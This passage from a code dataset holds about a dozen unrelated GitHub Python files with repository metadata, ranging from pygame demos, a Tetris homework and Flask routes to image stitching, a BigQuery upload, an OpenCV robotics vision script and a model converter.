into the calculated buckets.\n \"\"\"\n unsorted_result = {}\n for item in input:\n bucket = bucketizer(item)\n value = evaluator(item)\n if bucket in unsorted_result:\n unsorted_result[bucket] += value\n else:\n unsorted_result[bucket] = value\n\n try:\n sorted_result = {k: unsorted_result[k] for k in sorted(unsorted_result.keys())}\n except TypeError:\n logger.warning(\"Sorting histogram by key failed; falling back to unsorted\")\n sorted_result = unsorted_result\n\n return sorted_result\n\n\ndef print_histogram(\n title: str,\n histogram: Dict[Hashable, Number],\n percent: bool = True,\n printer: Callable[[str], object] = print,\n):\n \"\"\"Prints a string representation of a dict representing a histogram.\n\n Arguments:\n title (str): The title to print for the histogram.\n histogram (Dict[Hashable, Number]): The key/value pairs to render as a histogram.\n percent (bool): Whether the values should be converted to percentages of the total before rendering. Defaults to True.\n printer (Callable[[str], object]): The method to use to print, for example `logger.info`. Defaults to `print`.\n \"\"\"\n max_len = max(len(str(key)) for key in histogram.keys())\n total = sum(histogram.values())\n printer(f\"### {title} ###\")\n for key, val in histogram.items():\n scaled_val = val / total * 100 if percent else val\n printer(\n f\"{key:{max_len}}: {'#'*int(scaled_val)} {scaled_val:3.2f}{'%' if percent else ''}\"\n )\n","repo_name":"grahamtt/prosper-bot","sub_path":"prosper_bot/util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32896661073","text":"# Copyright (c) 2019, Md Imam Hossain (emamhd at gmail dot com)\r\n# see LICENSE.txt for details\r\n\r\nimport pygame\r\nimport obosthan\r\n\r\nframe_count = 0\r\nFRAMES_PER_SECOND = 25\r\nSCREEN_WIDTH = 640\r\nSCREEN_HEIGHT = 480\r\n\r\npygame.init()\r\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\r\npygame.display.set_caption('Obosthan point example')\r\npygame.key.set_repeat(1, 10)\r\nclock = pygame.time.Clock()\r\npygame.time.set_timer(pygame.USEREVENT, 50)\r\nfont = pygame.font.Font(None, 24)\r\n\r\nx = y = 200\r\nmove_left = False\r\n\r\nc1 = obosthan.OPoint2D(x, y)\r\nc2 = obosthan.OPoint2D(x+100, y+100)\r\n\r\ndone = False\r\npause = False\r\n\r\nwhile not done:\r\n for event in pygame.event.get():\r\n\r\n if event.type == pygame.USEREVENT:\r\n\r\n if move_left == False:\r\n c1[0] = c1[0] + 5\r\n else:\r\n c1[0] = c1[0] - 5\r\n\r\n if c1[0] > SCREEN_WIDTH - 200:\r\n move_left = True\r\n if c1[0] < 200:\r\n move_left = False\r\n\r\n if event.type == pygame.QUIT:\r\n done = True\r\n\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_SPACE:\r\n if pause == False:\r\n pause = True\r\n else:\r\n pause = False\r\n\r\n c2[0] = pygame.mouse.get_pos()[0]\r\n c2[1] = pygame.mouse.get_pos()[1]\r\n\r\n if pause == False:\r\n\r\n frame_count = frame_count + 1\r\n text_frame_count = font.render('Frame count ' + str(frame_count), True, (255, 255, 255))\r\n text_distance = font.render('Distance ' + str(round(c1.distance_to(c2),2)), True, (255, 255, 255))\r\n screen.fill((0, 0, 0))\r\n screen.blit(text_frame_count, (SCREEN_WIDTH - (text_frame_count.get_width() + 10), text_frame_count.get_height()))\r\n screen.blit(text_distance, (SCREEN_WIDTH - (text_frame_count.get_width() + 10), text_frame_count.get_height() + text_distance.get_height()))\r\n pygame.draw.circle(screen, (250, 0, 0), (int(c1[0]), int(c1[1])), 20, 2)\r\n pygame.draw.circle(screen, (250, 0, 0), (int(c1[0]), int(c1[1])), 2, 2)\r\n pygame.draw.circle(screen, (0, 250, 0), (int(c2[0]), int(c2[1])), 50, 2)\r\n pygame.draw.circle(screen, (0, 250, 0), (int(c2[0]), int(c2[1])), 2, 2)\r\n pygame.display.flip()\r\n clock.tick(FRAMES_PER_SECOND)\r\n","repo_name":"imamhs/obosthan","sub_path":"point_example.py","file_name":"point_example.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"36512766369","text":"# https://www.cs.cmu.edu/~112/notes/notes-tetris/2_1_DesignOverview.html\n# ONLY DONE TILL STEP 6\n\nfrom tkinter import * \nimport random\n\ndef fallingPieceIsLegal(app):\n for i in range(len(app.fallingPiece)):\n for j in range(len(app.fallingPiece[0])):\n row = app.fallingPieceRow + i\n col = app.fallingPieceCol + j\n if app.fallingPiece[i][j]==True:\n if not ((( 0 <=row \", lambda event:\n keyPressedWrapper(event, canvas, app))\n timerFiredWrapper(canvas, app)\n root.mainloop() # blocks until window is closed \n\ndef appStarted(app):\n app.rows,app.cols, app.CellSize, app.margin = gameDimensions()\n app.emptyColor = \"blue\"\n app.board = []\n for i in range(app.rows):\n app.board.append([app.emptyColor]*app.cols)\n \n # Seven \"standard\" pieces (tetrominoes)\n iPiece = [\n [ True, True, True, True ]]\n jPiece = [\n [ True, False, False ],\n [ True, True, True ]]\n lPiece = [\n [ False, False, True ],\n [ True, True, True ]]\n oPiece = [\n [ True, True ],\n [ True, True ]]\n sPiece = [\n [ False, True, True ],\n [ True, True, False ]]\n tPiece = [\n [ False, True, False ],\n [ True, True, True ]]\n zPiece = [\n [ True, True, False ],\n [ False, True, True ]]\n\n app.isGameOver = False\n app.tetrisPieces = [ iPiece, jPiece, lPiece, oPiece, sPiece, tPiece, zPiece ]\n app.tetrisPieceColors = [ \"red\", \"yellow\", \"magenta\", \"pink\", \"cyan\", \"green\", \"orange\" ]\n # Define and draw the new falling piece\n newFallingPiece(app)\n\ndef gameDimensions():\n rows = 15\n cols = 10\n CellSize = 20\n margin = 25\n return (rows, cols, CellSize, margin) \n\ndef playTetris():\n rows, cols, CellSize, margin = gameDimensions()\n width = cols*CellSize+2*margin\n height = rows*CellSize+2*margin\n class Struct(object): pass\n app = Struct()\n appStarted(app)\n app.height = height\n app.width = width\n app.timerDelay = 1\n runApp(app,width=width, height=height)\n\ndef main():\n playTetris()\n\nif __name__ == '__main__':\n main()","repo_name":"Jigar1201/Fundamentals_of_programming_and_cs","sub_path":"week6/hw6-tetris.py","file_name":"hw6-tetris.py","file_ext":"py","file_size_in_byte":6912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"4985307320","text":"from resourses.userresourse import UserRegisterResourse, UserLoginResourse, GetAllUserResourse\nfrom resourses.check_token_resourse import CheckToken\nfrom resourses.place_resourse import PlaceResourse, PlaceSpecificResourse\n\n\nrouts = (\n (UserRegisterResourse, '/register'),\n (UserLoginResourse, '/login'),\n (GetAllUserResourse, '/all_users'),\n (CheckToken, '/check'),\n (PlaceResourse, '/places'),\n (PlaceSpecificResourse, '/place/'),\n)","repo_name":"borko81/learn_flask","sub_path":"show_more/resourses/routers.py","file_name":"routers.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35255963226","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n#Local import\nfrom keypoint_matching import keypoint_matching\nfrom RANSAC import ransac, map_img\n\ndef interpolate(img):\n for i in range(img.shape[0] - 1):\n for j in range(img.shape[1] - 1):\n if (np.array_equal(img[i, j], np.array([0, 0, 0]))):\n try:\n avg = np.mean([\n img[i - 1, j - 1, :], img[i + 1, j + 1, :], img[i + 1, j - 1, :],\n img[i - 1, j + 1, :]\n ])\n img[i, j] = avg\n except:\n pass\n return img\n\ndef stitch(left, right, ratio=0.6):\n\n # Detect keypoints in images and match,\n matches, k1, k2, _, _ = keypoint_matching(right, left, ratio=ratio)\n\n # Use RANSAC to estimate the transformation matrix from the matches.\n x, _ = ransac(k1, k2, P=70, N=100, verbose=False)\n\n # Create 3x3 homogenous matrix from the parameters.\n H = np.array([[x[0], x[1], x[4]], [x[2], x[3], x[5]], [0, 0, 1]])\n\n # Calculate transformed coordinates of the corner of right.\n c1 = np.dot(H, [0, 0, 1])\n c2 = np.dot(H, [right.shape[0] - 1, 0, 1])\n c3 = np.dot(H, [right.shape[0] - 1, right.shape[1] - 1, 1])\n c4 = np.dot(H, [0, right.shape[1] - 2, 1])\n\n # Determing the size of the final output image.\n output_h = max(left.shape[0], right.shape[0])\n output_w = max(int(c1[0]), int(c2[0]), int(c3[0]), int(c4[0]))\n\n # Transform right image by applying best RANSAC match.\n tright = map_img(right, x)\n\n # Interpolate using nearest neighbor to handle holes.\n tright = interpolate(tright)\n\n # Create final black image.\n result = np.zeros((output_h, output_w, 3), dtype=left.dtype)\n\n # Combile the left and transformed right image.\n result[0:tright.shape[0], 0:tright.shape[1]] = tright\n result[0:left.shape[0], 0:left.shape[1]] = left\n\n return result\n\n\nif __name__ == '__main__':\n\n left = cv2.imread('images/tram_left.jpg')\n right = cv2.imread('images/tram_right.jpg')\n\n result = stitch(left, right, ratio=0.6)\n\n plt.imshow(cv2.cvtColor(result, cv2.COLOR_BGR2RGB))\n plt.show()","repo_name":"mvbrussel/Image_Stitching","sub_path":"stitch.py","file_name":"stitch.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"13851216451","text":"from google.cloud import bigquery\nimport os\nimport glob\nimport csv\n\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"c:\\Poli\\Dizertatie\\cloud-computing-305617-91437ff4f742.json\"\n \nclient = bigquery.Client()\n\ntable_id = \"cloud-computing-305617.Kart_Agent_Data.Records\"\n\nlist_of_files = glob.glob('C:\\Poli\\Dizertatie\\Repo_Github\\KartML\\Export_Csv\\*.csv') # * means all if need specific format then *.csv\nlatest_file = max(list_of_files, key=os.path.getctime)\nprint(latest_file)\n\njob_config = bigquery.LoadJobConfig(\n source_format=bigquery.SourceFormat.CSV, skip_leading_rows=1, autodetect=True,\n)\n\nwith open(latest_file, \"rb\") as source_file:\n job = client.load_table_from_file(source_file, table_id, job_config=job_config)\n\njob.result() # Waits for the job to complete.\n\ntable = client.get_table(table_id) # Make an API request.\nprint(\n \"Loaded {} rows and {} columns to {}\".format(\n table.num_rows, len(table.schema), table_id\n )\n)\n","repo_name":"alexuicoaba/KartML","sub_path":"script_BigQuery/connect_bigquery.py","file_name":"connect_bigquery.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12383428537","text":"# Definition for a binary tree node.\n\nclass TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n def __repr__(self):\n s = str(self.val)\n if self.left is not None:\n s += \"(\" + str(self.left) + \")\"\n if self.right is not None:\n s += \"[\" + str(self.right) + \"]\"\n return s\n# https://leetcode.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal/discuss/221681/Don't-use-top-voted-Python-solution-for-interview-here-is-why.\nclass Solution(object):\n def buildTree(self, inorder, postorder):\n \"\"\"\n :type preorder: List[int]\n :type inorder: List[int]\n :rtype: TreeNode\n \"\"\"\n map_inorder= {}\n for i, val in enumerate(inorder):\n map_inorder[val] = i\n def recur(low, high):\n if low > high:\n return None\n x = TreeNode(postorder.pop())\n mid = map_inorder[x.val]\n x.right = recur(mid+1, high)\n x.left = recur(low, mid-1)\n return x\n \n return recur(0, len(inorder)-1)\n \nsol = Solution()\n\nprint(sol.buildTree([9,3,15,20,7], [9,15,7,20,3]), \"3(9)[20(15)[7]]\")\n","repo_name":"CollinErickson/LeetCode","sub_path":"Python/106_BinaryTreeFromInorderAndPostorder.py","file_name":"106_BinaryTreeFromInorderAndPostorder.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"27585909836","text":"################# general varying alpha\n\nimport numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\n\n####### definition of Friedmann universe filled with GCG\ndef GCG(a, t, A, B, n):\n dadt = (np.sqrt((A*a**(3*n+3.) + B)**(1./(1+n)) - 3.*K*a))/(np.sqrt(3.*a))\n return dadt\n\n######## parameters\nB = 3\nA = 1/3.\nK = 0.\na0 = 1.\n\n###### alpha\nn = np.array([0.0002, 0.05, 0.5, 0.9, 1.0])\nlabels = [r\"$\\alpha=0.0002$\",r\"$\\alpha=0.05$\",r\"$\\alpha=0.5$\",r\"$\\alpha=0.9$\",r\"$\\alpha=1.0$\"]\n\n######## time\nt = np.linspace(0., 13.0, 101)\n\nfor i in range(len(n)):\n sol1 = odeint(GCG, a0, t, args=(A, B, n[i]))\n plt.plot(t,sol1,label=labels[i])\n \nplt.legend(loc=\"upper left\") \nplt.xlabel('time ($t$)')\nplt.ylabel('scale factor ($a$)')\n#plt.grid()\nplt.title(r'Varying $\\alpha$')\naxes = plt.gca()\n\nplt.show() \n\n\n","repo_name":"rubbyaworka/The_Reviewed_codes_of_Chaplygin_gas_cosmological_model","sub_path":"The_codes_of_Chaplygin_Gas_Cosmological_Model_Reviewed/GCG_scale_on_time_vary_alpha.py","file_name":"GCG_scale_on_time_vary_alpha.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35794770230","text":"from nodes import data_gathering\r\nfrom nodes import data_transform\r\nfrom nodes import data_storage\r\nfrom nodes import data_viz\r\nfrom nodes import data_preparation\r\n\r\nfrom params import Params \r\nfrom client import Client\r\nimport logging\r\n\r\n\r\ndef process(client, params): \r\n\t\"\"\"\r\n\tThe ETL pipeline.\r\n\r\n\tIt contains the main nodes of the extract-transform-load \r\n\tpipeline from the process. \r\n\t\"\"\"\r\n\tdata_preparation.run(client, params)\r\n\r\n\tfor file_url in params.csv_files:\r\n\t\tparams.file_url = file_url\r\n\r\n\t\tif not data_gathering.done(client, params):\r\n\t\t\tdata_gathering.update(client, params)\r\n\r\n\t\tif not data_transform.done(client, params):\r\n\t\t\tdata_transform.update(client, params)\r\n\r\n\t\tif not data_storage.done(client, params): \r\n\t\t\tdata_storage.update(client, params)\r\n\r\n\r\nif __name__ == '__main__': \r\n\r\n\tparams = Params()\r\n\r\n\tlogging.basicConfig(level=logging.INFO,\r\n\t\t\t\t\t\tfilename=params.log_name,\r\n\t\t\t\t\t\tfilemode='a',\r\n\t\t\t\t\t\tformat='%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s',\r\n \t\t\t\t\tdatefmt='%Y-%m-%d %H:%M:%S')\r\n\r\n\tclient = Client(params)\r\n\t\r\n\tprocess(client, params)","repo_name":"aguiarandre/labs-parttime-202001","sub_path":"module-1/classes/024-Data_Pipelines/covid_pipeline/src/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"42262350776","text":"import cv2\r\nimport numpy as np\r\nfrom networktables import NetworkTables\r\n\r\nlogging.basicConfig(level=logging.DEBUG)\r\n\r\nNetworkTables.initialize(server='roborio-610-frc.local')\r\n\r\nHSV_THRESH_LOW = np.array([0, 0, 220])\r\nHSV_THRESH_HIGH = np.array([100, 60, 255])\r\n\r\nCANNY_THRESH_MIN = 60\r\nCANNY_THRESH_MAX = 180\r\n\r\nW_TO_H_MIN = 0.10\r\nW_TO_H_MAX = 0.60\r\n\r\nCNT_AREA_MIN = 600\r\nCNT_AREA_MAX = 6000\r\n\r\nAREA_RATIO_MIN = 0.85\r\nAREA_RATIO_MAX = 1.35\r\n\r\nIMG_WIDTH = 0\r\n\r\nkernel = np.ones((5, 5), np.uint8)\r\n\r\n\r\ndef is_valid_area(area):\r\n return CNT_AREA_MIN <= area <= CNT_AREA_MAX\r\n\r\n\r\ndef is_valid_rectangle(ratio):\r\n return W_TO_H_MIN <= ratio <= W_TO_H_MAX\r\n\r\n\r\ndef is_accurate_box(ratio):\r\n return AREA_RATIO_MIN <= ratio <= AREA_RATIO_MAX\r\n\r\n\r\ndef find_all_contours(img_raw):\r\n IMG_WIDTH = img_raw.shape[1]\r\n mask = cv2.inRange(cv2.cvtColor(img_raw, cv2.COLOR_BGR2HSV), HSV_THRESH_LOW, HSV_THRESH_HIGH)\r\n # mask2 = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\r\n\r\n canny = cv2.Canny(mask, CANNY_THRESH_MIN, CANNY_THRESH_MAX)\r\n\r\n _, contours, _ = cv2.findContours(canny, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n return contours\r\n\r\n\r\ndef verify_contours(contours):\r\n top_contours = []\r\n\r\n for cnt in contours:\r\n box = cv2.minAreaRect(cnt)\r\n\r\n cnt_area = cv2.contourArea(cnt)\r\n width_height = sorted([box[1][0], box[1][1]])\r\n box_area = np.multiply(*width_height)\r\n\r\n if is_valid_area(cnt_area) and is_valid_rectangle(width_height[0] / width_height[1]):\r\n if is_accurate_box(box_area / cnt_area):\r\n x_y = box[0]\r\n top_contours.append([cnt, x_y, cnt_area, width_height])\r\n\r\n return top_contours\r\n\r\n\r\ndef draw_top_contours(top_contours):\r\n drawn_cnts = []\r\n\r\n for cnt in top_contours:\r\n drawn_cnts.append(cnt[0])\r\n\r\n return drawn_cnts\r\n\r\n\r\ndef get_target(top_contours):\r\n if len(top_contours) != 2:\r\n return None\r\n\r\n else:\r\n # Number\r\n center_dist = abs(top_contours[0][1][0] - top_contours[1][1][0])\r\n # Tuple of (x,y)\r\n midpoint = ((top_contours[0][1][0] + top_contours[1][1][0]) / 2.0, (top_contours[0][1][1] + top_contours[1][1][1]) / 2.0)\r\n # Number\r\n deviation = midpoint[0] - IMG_WIDTH / 2\r\n\r\n target_data = (midpoint, deviation, center_dist)\r\n\r\n return target_data\r\n\r\n\r\ncamera = cv2.VideoCapture(0)\r\ncamera.set(cv2.CAP_PROP_CONTRAST, -1)\r\n\r\nif not camera.isOpened():\r\n print(\"Failed to open VideoCapture!\")\r\n\r\nwhile camera.isOpened():\r\n _, img = camera.read()\r\n\r\n raw_contours = find_all_contours(img)\r\n\r\n good_contours = verify_contours(raw_contours)\r\n\r\n target_data = get_target(good_contours)\r\n\r\n sd.putNumber('deviation', target_data[1])\r\n sd.putNumber('center_dist', target_data[2])\r\n\r\n drawn = draw_top_contours(good_contours)\r\n cv2.drawContours(img, raw_contours, -1, (0, 0, 255), 2)\r\n\r\n cv2.imshow('img', img)\r\n\r\n if cv2.waitKey(5) == 27:\r\n break\r\n\r\ncv2.destroyAllWindows()\r\n","repo_name":"JustinMLu/2019-Kitbot-Vision","sub_path":"pi-coprocessor/DeepSpaceVision.py","file_name":"DeepSpaceVision.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"40113032609","text":"import sys\nfrom tensorflow.python.keras.models import load_model\nimport tensorflow as tf\nfrom tensorflow.python.keras import backend as K\nfrom tensorflow.python.framework import graph_util\n\n'''\n<< HOW TO USE >>\nthis script convet h5 model to pb model.\n\nex)\nconv_h5_model_to_pb.py mnist.h5 mnist.pb\n'''\n\nif __name__ == '__main__':\n argv = sys.argv\n if len(argv) != 3:\n print(\"the argv length is illeigal.\")\n sys.exit()\n print(argv)\n h5_file = argv[1]\n pb_file = argv[2]\n\t\n model = load_model(h5_file)\n sess = K.get_session()\n outname = \"output_node0\"\n tf.identity(model.outputs[0], name=outname)\n constant_graph = graph_util.convert_variables_to_constants(sess, sess.graph.as_graph_def(), [outname])\n tf.train.write_graph(constant_graph, \"./\", pb_file, as_text=False)","repo_name":"naonaorange/dnn_model_converter","sub_path":"conv_h5_model_to_pb.py","file_name":"conv_h5_model_to_pb.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24290735058","text":"import os\r\nimport pygame\r\nimport random\r\nfrom pygame import draw\r\n\r\n# 固定變數\r\nHIGH = 400\r\nWITH = 800\r\nFPS = 60\r\noffset = 80 \r\n\r\n# 初始設定\r\npygame.init()\r\npygame.display.set_caption(\"奮Game\")\r\nscreen = pygame.display.set_mode((WITH,HIGH))\r\nclock = pygame.time.Clock()\r\nfont_name = os.path.join(\"kaiu.ttf\")\r\n\r\n# 載入圖片\r\nBG_img = pygame.image.load(os.path.join(\"img\", \"BG.png\")).convert() \r\nPlayer_img = []\r\nfor i in range(4):\r\n Player_img.append(pygame.image.load(os.path.join(\"img\", f\"Player{i}.png\")).convert())\r\nFire_img = pygame.image.load(os.path.join(\"img\", \"Fire.png\")).convert()\r\nRock_img = pygame.image.load(os.path.join(\"img\", \"Rock.png\")).convert()\r\nHay_img = pygame.image.load(os.path.join(\"img\", \"Hay.png\")).convert()\r\nGadgat_img = {}\r\nGadgat_img['HPO'] = pygame.image.load(os.path.join(\"img\", \"HP.png\")).convert()\r\nGadgat_img['PWO'] = pygame.image.load(os.path.join(\"img\", \"PW.png\")).convert()\r\nLogo_img = pygame.image.load(os.path.join(\"img\", \"Logo.png\")).convert()\r\npygame.display.set_icon(pygame.transform.scale(Logo_img,(10,10)))\r\n\r\n# UI\r\ndef draw_init():\r\n screen.blit(pygame.transform.scale(BG_img,(800,400)), (0, 0))\r\n draw_Text(screen, '歡迎來到糞Game', 60, WITH/2, HIGH/4)\r\n draw_Text(screen, '↑ 跳躍 空白發射火球', 60, WITH/2, HIGH/2)\r\n draw_Text(screen, '任意鍵開始遊戲', 60, WITH/2, HIGH*3/4)\r\n pygame.display.update()\r\n waiting = True\r\n while waiting:\r\n clock.tick(FPS)\r\n # 取得輸入\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n return True\r\n elif event.type == pygame.KEYUP:\r\n waiting = False\r\n return False \r\ndef draw_GameOver():\r\n screen.blit(pygame.transform.scale(BG_img,(800,400)), (0, 0))\r\n draw_Text(screen, 'Game Over', 60, WITH/2, HIGH/4)\r\n draw_Text(screen, str(score), 60, WITH/2, HIGH/2)\r\n draw_Text(screen, '按任意鍵 重新開始遊戲', 60, WITH/2, HIGH*3/4)\r\n pygame.display.update()\r\n game_over = True\r\n while game_over:\r\n clock.tick(FPS)\r\n # 取得輸入\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n return True\r\n elif event.type == pygame.KEYUP:\r\n game_over = False \r\n return False \r\ndef draw_HP(surf, hp, x, y):\r\n if hp < 0:\r\n hp = 0\r\n BAR_LENGTH = 100 \r\n BAR_HEIGHT = 10\r\n fill = (hp/100)* BAR_LENGTH\r\n outline_rect = pygame.Rect(x, y, BAR_LENGTH, BAR_HEIGHT)\r\n fill_rect = pygame.Rect(x, y, fill, BAR_HEIGHT)\r\n pygame.draw.rect(surf, (200,0,0), fill_rect)\r\ndef draw_Power(surf, power, x, y):\r\n if power < 0:\r\n power = 0\r\n BAR_LENGTH = 100\r\n BAR_HEIGHT = 10\r\n fill = (power/100)* BAR_LENGTH\r\n outline_rect = pygame.Rect(x, y, BAR_LENGTH, BAR_HEIGHT)\r\n fill_rect = pygame.Rect(x, y, fill, BAR_HEIGHT)\r\n pygame.draw.rect(surf, (255,255,0), fill_rect)\r\ndef draw_Text(surf, text, size, x, y):\r\n font = pygame.font.Font(font_name, size)\r\n text_surface = font.render(text, True, (0,0,0))\r\n text_rect = text_surface.get_rect()\r\n text_rect.centerx = x\r\n text_rect.centery = y\r\n surf.blit(text_surface, text_rect)\r\n\r\n# 物體\r\nclass Player(pygame.sprite.Sprite): \r\n def __init__(self) :\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.transform.scale(Player_img[0],(132,137))\r\n self.image.set_colorkey((255,255,255))\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (100,HIGH-offset)\r\n self.POWER = 100\r\n self.HP = 100\r\n self.form = 0\r\n self.last_time = pygame.time.get_ticks()\r\n self.delay_time = 100\r\n\r\n def update(self):\r\n now = pygame.time.get_ticks()\r\n if self.POWER > 0 and key_box[pygame.K_UP]:\r\n self.POWER -= 1\r\n self.rect.centery -= 50\r\n if now - self.last_time > self.delay_time:\r\n self.last_time = now\r\n self.image = pygame.transform.scale(Player_img[random.choice([2,3])],(132,137))\r\n self.image.set_colorkey((255,255,255))\r\n if self.rect.centery < HIGH/3:\r\n self.rect.centery = HIGH/3\r\n if self.POWER < 0:\r\n self.POWER = 0\r\n elif self.POWER <= 0 or self.rect.centery == HIGH-offset:\r\n self.rect.centery += 18\r\n if self.rect.centery > HIGH-offset:\r\n self.rect.centery = HIGH-offset\r\n if now - self.last_time > self.delay_time:\r\n self.last_time = now\r\n self.image = pygame.transform.scale(Player_img[random.choice([0,1])],(132,137))\r\n self.image.set_colorkey((255,255,255)) \r\n self.POWER += 5 \r\n if self.POWER > 100:\r\n self.POWER = 100\r\n else:\r\n self.rect.centery += 18 \r\n if self.rect.centery > HIGH-offset:\r\n self.rect.centery = HIGH-offset\r\n if now - self.last_time > self.delay_time:\r\n self.last_time = now\r\n self.image = pygame.transform.scale(Player_img[random.choice([0,1])],(132,137))\r\n self.image.set_colorkey((255,255,255)) \r\n self.POWER += 5\r\n if self.POWER > 100:\r\n self.POWER = 100 \r\n def shoot(self):\r\n fire = Fire(self.rect.right ,self.rect.top + 20)\r\n all_sprites.add(fire)\r\n fires.add(fire)\r\nclass Haystack(pygame.sprite.Sprite):\r\n def __init__(self) :\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image_oring = Hay_img\r\n self.image_oring.set_colorkey((255,255,255))\r\n self.image = self.image_oring.copy()\r\n self.rect = self.image.get_rect()\r\n self.rect.x = WITH + random.randrange(0, 100)\r\n self.rect.y = random.choice([250,60])\r\n self.degree = 0\r\n\r\n def rotate(self):\r\n self.degree += 3\r\n self.image = pygame.transform.rotate(self.image_oring,self.degree)\r\n\r\n def update(self):\r\n self.rotate()\r\n self.rect.x -= random.randrange(1, 15)\r\n if self.rect.right < 0:\r\n self.image_oring = Hay_img\r\n self.image_oring.set_colorkey((255,255,255))\r\n self.image = self.image_oring.copy()\r\n self.rect = self.image.get_rect()\r\n self.rect.x = WITH + random.randrange(0, 100)\r\n self.rect.y = random.choice([250,60])\r\n self.degree = 0 \r\nclass Rock(pygame.sprite.Sprite):\r\n def __init__(self) :\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.transform.scale(Rock_img,(random.choice([(40,40),(80,80)])))\r\n self.image.set_colorkey((255,255,255))\r\n self.rect = self.image.get_rect()\r\n self.rect.x = WITH + random.randrange(-10, 300)\r\n self.rect.bottom = HIGH - 20\r\n\r\n def update(self):\r\n self.rect.x -= 5\r\n if self.rect.left < 0:\r\n self.image = pygame.transform.scale(Rock_img,(random.choice([(40,40),(80,80)])))\r\n self.image.set_colorkey((255,255,255))\r\n self.rect = self.image.get_rect()\r\n self.rect.x = WITH + random.randrange(-10, 300)\r\n self.rect.bottom = HIGH - 20\r\nclass Fire(pygame.sprite.Sprite):\r\n def __init__(self, x, y) :\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.transform.scale(Fire_img,(60,60))\r\n self.image.set_colorkey((255,255,255)) \r\n self.rect = self.image.get_rect()\r\n self.rect.centerx = x\r\n self.rect.centery = y\r\n \r\n def update(self):\r\n self.rect.x += 12\r\n if self.rect.left > WITH:\r\n self.kill() \r\nclass Gadgat(pygame.sprite.Sprite):\r\n def __init__(self, center): \r\n pygame.sprite.Sprite.__init__(self)\r\n self.type = random.choice(['HPO', 'PWO'])\r\n self.image = pygame.transform.scale(Gadgat_img[self.type],(40,40))\r\n self.image.set_colorkey((255,255,255))\r\n self.rect = self.image.get_rect()\r\n self.rect.center = center\r\n\r\n def update(self):\r\n # if self.type == \"PWO\":\r\n # self.rect.x -= 10 \r\n # else:\r\n self.rect.x -= 10\r\n self.rect.y += 10\r\n\r\n if self.rect.left < 0:\r\n self.kill() \r\n if self.rect.bottom > HIGH - offset:\r\n self.rect.bottom = HIGH - offset\r\n\r\n# 群組建立 \r\nall_sprites = pygame.sprite.Group()\r\nhaystacks = pygame.sprite.Group()\r\nrocks = pygame.sprite.Group()\r\nfires = pygame.sprite.Group()\r\ngadgats = pygame.sprite.Group()\r\nplayer = Player()\r\nall_sprites.add(player)\r\nscore = 0\r\nfor i in range(random.randrange(2, 3)):\r\n haystack = Haystack()\r\n all_sprites.add(haystack)\r\n haystacks.add(haystack)\r\nfor i in range(random.randrange(2, 3)):\r\n rock = Rock()\r\n all_sprites.add(rock)\r\n rocks.add(rock)\r\n\r\n# 主程式 \r\ngame_over = False\r\nshow_init = True\r\nrunning = True \r\nwhile running:\r\n if show_init:\r\n exit = draw_init()\r\n if exit:\r\n break\r\n show_init = False\r\n elif game_over:\r\n exit = draw_GameOver() \r\n if exit:\r\n break\r\n game_over = False\r\n all_sprites = pygame.sprite.Group()\r\n haystacks = pygame.sprite.Group()\r\n rocks = pygame.sprite.Group()\r\n fires = pygame.sprite.Group()\r\n gadgats = pygame.sprite.Group()\r\n player = Player()\r\n all_sprites.add(player)\r\n score = 0\r\n for i in range(random.randrange(2, 3)):\r\n haystack = Haystack()\r\n all_sprites.add(haystack)\r\n haystacks.add(haystack)\r\n for i in range(random.randrange(2, 3)):\r\n rock = Rock()\r\n all_sprites.add(rock)\r\n rocks.add(rock)\r\n player.HP = 100\r\n # 取得輸入\r\n clock.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == 